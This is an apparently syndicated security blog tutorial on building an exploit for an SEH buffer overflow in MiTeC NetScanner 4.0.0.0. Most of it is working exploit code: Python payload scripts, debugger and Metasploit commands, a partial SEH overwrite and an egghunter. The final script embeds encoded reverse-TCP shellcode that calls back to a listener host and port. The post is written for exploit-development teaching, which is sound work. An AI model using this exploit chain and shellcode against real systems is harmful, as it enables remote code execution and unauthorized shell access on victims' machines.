SBN

Exploiting MiTeC NetScanner

In this article, we will create an exploit for MiteC NetScanner 4.0.0.0,
taking advantage of a vulnerability found some years ago.

The original report can be found
here, and the author claims
this at the end (sic):

Exploit problem1. Input string(value) was replaced '0x3f' in the memory. then shellcode should be encoded to alpha_mixed.   Buffer size was 171 bytes. but, encoded shellcode size was over 600 bytes.2. Null byte cannot be inserted into Input field. so we can't use SEH pointer in a range of NetScanner.exe address (0x00400000~0x008c3000)3. payload was consisted of  'junk - shellcode - nSEH ptr - SEH ptr'. but this step was fail. because junk buffer size was 76 bytes.   Can't insert shellcode

In this post, we will try to overcome the aforementioned Exploit
problems
to see if we can come up with a working exploit with
something like TCP shell.

Vulnerability

The first thing to do is to identify the vulnerability. According to the
author of the original exploit, it seems that there is a buffer overflow
in the TOOLS → Detect IP from Host name…​ functionality. Let’s check
that:

Indeed. Now, we can start creating our proof-of-concept exploit:

#!/usr/bin/env python3"""NetScanner 4.0.0.0 exploit.Vulnerable Software: NetScannerVendor: MiTeCVersion: 4.0.0.0Exploit Author: Andres RoldanTested On: Windows Vista Business 32 bitsWriteup: https://fluidattacks.com/blog/netscan-exploit/"""PAYLOAD = (    b'A' * 500)with open('exploit.txt', 'wb') as fd:    fd.write(PAYLOAD)

From now on, we should open the resulting exploit.txt file and
copy/paste the resulting payload to NetScanner. Do that under a
debugger to check what’s going on:

SEH Vulnerability

Great. It seems to be an SEH overwrite
vulnerability.

Now, we must check at what offset the SEH handler is started to be
overwritten. To do that, we can create a cyclic pattern using the
Metasploit pattern_create.rb tool:

$ msf-pattern_create -l 500Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Update our exploit with that:

#!/usr/bin/env python3"""NetScanner 4.0.0.0 exploit.Vulnerable Software: NetScannerVendor: MiTeCVersion: 4.0.0.0Exploit Author: Andres RoldanTested On: Windows Vista Business 32 bitsWriteup: https://fluidattacks.com/blog/netscan-exploit/"""PAYLOAD = (    b'<paste pattern here>')with open('exploit.txt', 'wb') as fd:    fd.write(PAYLOAD)

And check it:

SEH Handler Offset

Now, check the offset with the pattern_offset.rb tool:

$ msf-pattern_offset -q 37634136[*] Exact match at offset 80

Update our exploit with that offset:

#!/usr/bin/env python3"""NetScanner 4.0.0.0 exploit.Vulnerable Software: NetScannerVendor: MiTeCVersion: 4.0.0.0Exploit Author: Andres RoldanTested On: Windows Vista Business 32 bitsWriteup: https://fluidattacks.com/blog/netscan-exploit/"""PAYLOAD = (    b'A' * 80 +    b'B' * 4 +    b'C' * 416)with open('exploit.txt', 'wb') as fd:    fd.write(PAYLOAD)

And check it:

SEH Handler Offset

Great! Now, let’s check for bad chars.

Checking for bad chars

One of the problems mentioned by the original exploit author is that we
must encode our shellcode using an alphanumeric encoder. We can verify
the bad chars by sending an array with all the possible ASCII chars,
excluding some usual suspects (carriage return \x0d and line feed
\x0a). First, we must create the array on our debugger, so we can
later compare it with our injected payload on memory. This can be done
using this command:

!mona bytearray -cpb '\x0a\x0d'

And we can create the same string on our exploit:

#!/usr/bin/env python3"""NetScanner 4.0.0.0 exploit.Vulnerable Software: NetScannerVendor: MiTeCVersion: 4.0.0.0Exploit Author: Andres RoldanTested On: Windows Vista Business 32 bitsWriteup: https://fluidattacks.com/blog/netscan-exploit/"""EXCLUDE = ('0xa', '0xd')BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))PAYLOAD = (    b'A' * 80 +    b'B' * 4 +    BADCHARS)with open('exploit.txt', 'wb') as fd:    fd.write(PAYLOAD)

Now, run the updated exploit to inject the resulting payload. We can
compare the injected bytes with the in-memory bytes using:

!mona compare -f bytearray-file.bin -a <address start of badchars array on memory>

In our case, that would be:

!mona compare -f c:\mona\NetScanner\bytearray.bin -a 0012F538

And the result is:

[+] Comparing with memory at location : 0x0012f538 (Stack)Only 171 original bytes of 'normal' code found.    ,-----------------------------------------------.    | Comparison results:                           |    |-----------------------------------------------|  0 |00 01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11| File    |20                                             | Memory 10 |12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21| File    |                                               | Memory 20 |22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31| File    |                                               | Memory 30 |32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41| File    |                                               | Memory 40 |42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51| File    |                                               | Memory 50 |52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61| File    |                                               | Memory 60 |62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71| File    |                                               | Memory 70 |72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81| File    |                                               | Memory 80 |82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91| File    |                                               | Memory 90 |92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1| File    |                                               | Memory a0 |a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1| File    |                                 00 0a 80 00 00| Memory b0 |b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1| File    |80 f6 12 00 e1 d1 76 74 00 00 00 00 00 00 00 00| Memory c0 |c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1| File    |00 00 00 00 00 00 00 00 04 3a fd bb 30 f6 12 00| Memory d0 |d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1| File    |   f8 da 75 08 01 19 00 15 02 00 00 00 00 00 00| Memory e0 |e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1| File    |00 00 00 00 15 02 00 00 cd ab ba dc 00 00 00 00| Memory f0 |f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff      | File    |80 f6 12 00 15 02 00 00 a8 f6 12 00 5c f6      | Memory    `-----------------------------------------------'

It seems that the only mangling occurred at the 00 byte that was
modified to 20. Also, it seems that the buffer was dropped after AC.
We can inject the other part of the ASCII array to check that:

#!/usr/bin/env python3"""NetScanner 4.0.0.0 exploit.Vulnerable Software: NetScannerVendor: MiTeCVersion: 4.0.0.0Exploit Author: Andres RoldanTested On: Windows Vista Business 32 bitsWriteup: https://fluidattacks.com/blog/netscan-exploit/"""EXCLUDE = ('0xa', '0xd')BADCHARS = bytes(bytearray([x for x in range(172, 256) if hex(x) not in EXCLUDE]))PAYLOAD = (    b'A' * 80 +    b'B' * 4 +    BADCHARS)with open('exploit.txt', 'wb') as fd:    fd.write(PAYLOAD)

The result is:

Badchars

And the comparison table result is:

Badchars 2

Well, it seems that after all, only the 0x00, 0x0a and 0x0d chars
are not allowed. Not bad.

Exploiting

Now that we know the nature of the vulnerability, we can start the
actual exploitation. The first thing to do is check if NetScanner has
executable modules without SafeSEH enabled. To do that, we can use the
following mona command:

!mona modules -cm safeseh=off

And the result is:

SafeSEH modules

It seems that the only module compiled without SafeSEH is the
executable itself. However, as you can see in the Base address, it
starts with 00, which means that when we inject it, it would be
translated to 20, according to the bad chars analysis we just did.
Let’s check that anyway.

First, let’s find suitable POP/POP/RET sequences with:

!mona seh -cm safeseh=off

POP/POP/RET

At least we have a lot. I’ll pick the first one at 00407119:

POP/POP/RET

Update our exploit with that:

#!/usr/bin/env python3"""NetScanner 4.0.0.0 exploit.Vulnerable Software: NetScannerVendor: MiTeCVersion: 4.0.0.0Exploit Author: Andres RoldanTested On: Windows Vista Business 32 bitsWriteup: https://fluidattacks.com/blog/netscan-exploit/"""import structPAYLOAD = (    b'A' * 80 +    # 00407119  |. 59             POP ECX    # 0040711A  |. 5D             POP EBP    # 0040711B  \. C2 0400        RETN 4    struct.pack('<L', 0x00407119) +    b'C' * 416)with open('exploit.txt', 'wb') as fd:    fd.write(PAYLOAD)

And check it:

Mangled NULL byte

Look carefully at the resulting stack state:

Mangled NULL byte

Several things are important to notice:

  1. The 00 byte on our POP/POP/RET sequence was mangled and changed
    to 20, as expected.

  2. The application somehow overwrites part of the A chars with 0 at
    nSEH-8.

  3. The C buffer seems unaffected.

Now check the end of the C buffer:

Mangled NULL byte

We can see that there are some 00 bytes here, probably left-overs of
the affected function stack frame. We can leverage those 00 to get our
desired POP/POP/RET address.

3-byte overwrite

To overcome the problem of the NULL byte mangling, we can do a partial
overwrite of the SEH handler. What we first did was:

=>  \x41\x41\x41\x41\x41\x41...   \x41\x41\x41\x41  \x19\x71\x40\x00   \x43...  ._____________________________.__________________.__________________.________.          Overflowed var                nSEH           SEH Handler      C buff

And that’s where our \x00 byte was changed to 0x20. Let’s check what
would happen if we write only 3 bytes of the POP/POP/RET address, like
this:

=>  \x41\x41\x41\x41\x41\x41...   \x41\x41\x41\x41  \x19\x71\x40  ._____________________________.__________________.__________________.          Overflowed var                nSEH           SEH Handler

Update our exploit:

#!/usr/bin/env python3"""NetScanner 4.0.0.0 exploit.Vulnerable Software: NetScannerVendor: MiTeCVersion: 4.0.0.0Exploit Author: Andres RoldanTested On: Windows Vista Business 32 bitsWriteup: https://fluidattacks.com/blog/netscan-exploit/"""PAYLOAD = (    b'A' * 80 +    # 00407119  |. 59             POP ECX    # 0040711A  |. 5D             POP EBP    # 0040711B  \. C2 0400        RETN 4    b'\x19\x71\x40')with open('exploit.txt', 'wb') as fd:    fd.write(PAYLOAD)

And check it:

3-byte overwrite

Awesome! We used the stack left-overs to complete our POP/POP/RET
address.

Now, if we run the POP/POP/RET sequence, we would land at nSEH which
is only 4 bytes:

POP/POP/RET

And as we don’t have any bytes after the SEH handler, we must jump
back to the start of our A buffer. With the help of our debugger, we
can get the needed bytes EB B4. We can update our nSEH with that:

#!/usr/bin/env python3"""NetScanner 4.0.0.0 exploit.Vulnerable Software: NetScannerVendor: MiTeCVersion: 4.0.0.0Exploit Author: Andres RoldanTested On: Windows Vista Business 32 bitsWriteup: https://fluidattacks.com/blog/netscan-exploit/"""PAYLOAD = (    b'A' * 76 +    # nSEH    b'\xeb\xb4\x41\x41' +    # 00407119  |. 59             POP ECX    # 0040711A  |. 5D             POP EBP    # 0040711B  \. C2 0400        RETN 4    b'\x19\x71\x40')with open('exploit.txt', 'wb') as fd:    fd.write(PAYLOAD)

And check it:

Jump back

Great! We now have 61 bytes to work.

Alternate ending: Egghunter

With 61 bytes, we have some room to work. The first thing that comes to
mind is the use of an egghunter. Let’s do that.

We first must create the egghunter. I will use the egg osce this time:

$ msf-egghunter -e osce -f python -v EGGHUNTEREGGHUNTER =  b""EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65"EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Update our exploit with that:

#!/usr/bin/env python3"""NetScanner 4.0.0.0 exploit.Vulnerable Software: NetScannerVendor: MiTeCVersion: 4.0.0.0Exploit Author: Andres RoldanTested On: Windows Vista Business 32 bitsWriteup: https://fluidattacks.com/blog/netscan-exploit/"""EGGHUNTER =  b""EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65"EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"PAYLOAD = (    # Initial padding    b'A' * 8 +    EGGHUNTER +    b'A' * (76 - 8 - len(EGGHUNTER)) +    # nSEH    b'\xeb\xb4\x41\x41' +    # 00407119  |. 59             POP ECX    # 0040711A  |. 5D             POP EBP    # 0040711B  \. C2 0400        RETN 4    b'\x19\x71\x40')with open('exploit.txt', 'wb') as fd:    fd.write(PAYLOAD)

And check it:

Egghunter

Great. The egghunter is now ready, but there is nothing to hunt. We must
create a shellcode, place it anywhere on memory and prepend it with our
osceosce egg. But where?

After some analysis of NetScanner, I discovered a functionality called
Remote Execute…​ on where several parameters are needed, but there is
one called Command line that accepts long alphanumeric strings. To our
favor, when we type something, it stays on memory:

Remote execute

Let’s check if we can use that field to insert our shellcode. First, we
must create an alphanumeric shellcode:

$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=none -f raw -e x86/alpha_mixed BufferRegister=EDIFound 1 compatible encodersAttempting to encode payload with 1 iterations of x86/alpha_mixedx86/alpha_mixed succeeded with size 702 (iteration=0)x86/alpha_mixed chosen with final size 702Payload size: 702 bytesWYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylyxmREPuPc0CPoyYutqkpPdlKrptpnk1B6lLK1BFtNkCBdhVonWaZTfVQkOLlWLcQ1lS2VLUpzajovmwqKwIr8rrr1GnkBrTPLKRjgLLKrlR1ahHcCxS18QsankPY5p5QXSNkpIUHIsGJBiLKFTlKwqiFFQkOLlJaxO4MeQO708ip2UyfVccMxxGKcMUtt5ytqHNkv8a4318SSVnk6lpKlKBxgl7q8SlK4DLK7qJpMYG4UtEtSkskQqv92z0QyoipaOSocjlKVrXknmCmCXUcfRS0EPaxD7PsTrSoaD0hpLRW5vVgYozulxNp5QeP7p6IiTrtbpsXWYmP0k5PkOiEV0BpRpv0g00P3p0PsXZJ6oKoYpkOjuogPjeUe8o0y8eP7b0huRGpga1LMYM60jvprv3gaxLYy5SD1qKOHUk5iPd4TLKOrnFhrUHlBHjPMenBV6kOxUaxsS2McT7poyis0Wsgv7eakFrJWbSiRvyrImU6kwW4fD7LWqc1lMctddvpjfgppDqDpPrvPV1FaV2vRn66aFpSpVaxT9ZlUoMV9oXUlIypPNBvSvIotpqx5XMW5MCPyoYEmklj8E9raMCXlfnummomyoYEelEVQl7zMPykIpRUveoK3wGcT2RO0j30BskOxUAA

Notice that I used the BufferRegister=EDI parameter because EDI is
the register on where our egghunter will point the start of the
shellcode. Let’s update our exploit with that:

#!/usr/bin/env python3"""NetScanner 4.0.0.0 exploit.Vulnerable Software: NetScannerVendor: MiTeCVersion: 4.0.0.0Exploit Author: Andres RoldanTested On: Windows Vista Business 32 bitsWriteup: https://fluidattacks.com/blog/netscan-exploit/"""EGGHUNTER =  b""EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65"EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"SHELL = (    b'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIyl'    b'yxmREPuPc0CPoyYutqkpPdlKrptpnk1B6lLK1BFtNkCBdhVonWaZTf'    b'VQkOLlWLcQ1lS2VLUpzajovmwqKwIr8rrr1GnkBrTPLKRjgLLKrlR1'    b'ahHcCxS18QsankPY5p5QXSNkpIUHIsGJBiLKFTlKwqiFFQkOLlJaxO'    b'4MeQO708ip2UyfVccMxxGKcMUtt5ytqHNkv8a4318SSVnk6lpKlKBx'    b'gl7q8SlK4DLK7qJpMYG4UtEtSkskQqv92z0QyoipaOSocjlKVrXknm'    b'CmCXUcfRS0EPaxD7PsTrSoaD0hpLRW5vVgYozulxNp5QeP7p6IiTrt'    b'bpsXWYmP0k5PkOiEV0BpRpv0g00P3p0PsXZJ6oKoYpkOjuogPjeUe8'    b'o0y8eP7b0huRGpga1LMYM60jvprv3gaxLYy5SD1qKOHUk5iPd4TLKO'    b'rnFhrUHlBHjPMenBV6kOxUaxsS2McT7poyis0Wsgv7eakFrJWbSiRv'    b'yrImU6kwW4fD7LWqc1lMctddvpjfgppDqDpPrvPV1FaV2vRn66aFpS'    b'pVaxT9ZlUoMV9oXUlIypPNBvSvIotpqx5XMW5MCPyoYEmklj8E9raM'    b'CXlfnummomyoYEelEVQl7zMPykIpRUveoK3wGcT2RO0j30BskOxUAA')PAYLOAD = (    # Initial padding    b'A' * 8 +    EGGHUNTER +    b'A' * (76 - 8 - len(EGGHUNTER)) +    # nSEH    b'\xeb\xb4\x41\x41' +    # 00407119  |. 59             POP ECX    # 0040711A  |. 5D             POP EBP    # 0040711B  \. C2 0400        RETN 4    b'\x19\x71\x40')print('[*] Please, paste the following text on:')print('[*] TOOLS -> Remote Execute... -> Command line')print('')print(f'osceosce{SHELL.decode()}')print('')print('[*] Now paste the exploit payload.')with open('exploit.txt', 'wb') as fd:    fd.write(PAYLOAD)

Note that I included some instructions. Also, I included osceosce at
the start of the shellcode. Let’s check it:

Success

Awesome!

We were able to overcome all the original exploit problems.

You can download the final exploit here.

Conclusion

Sometimes, we need to be creative when creating our exploits. In this
article, we were able to leverage stack left-overs and other
functionalities of the vulnerable application to get a fully working
exploit.


*** This is a Security Bloggers Network syndicated blog from Fluid Attacks RSS Feed authored by Andres Roldan. Read the original post at: https://fluidattacks.com/blog/netscan-exploit/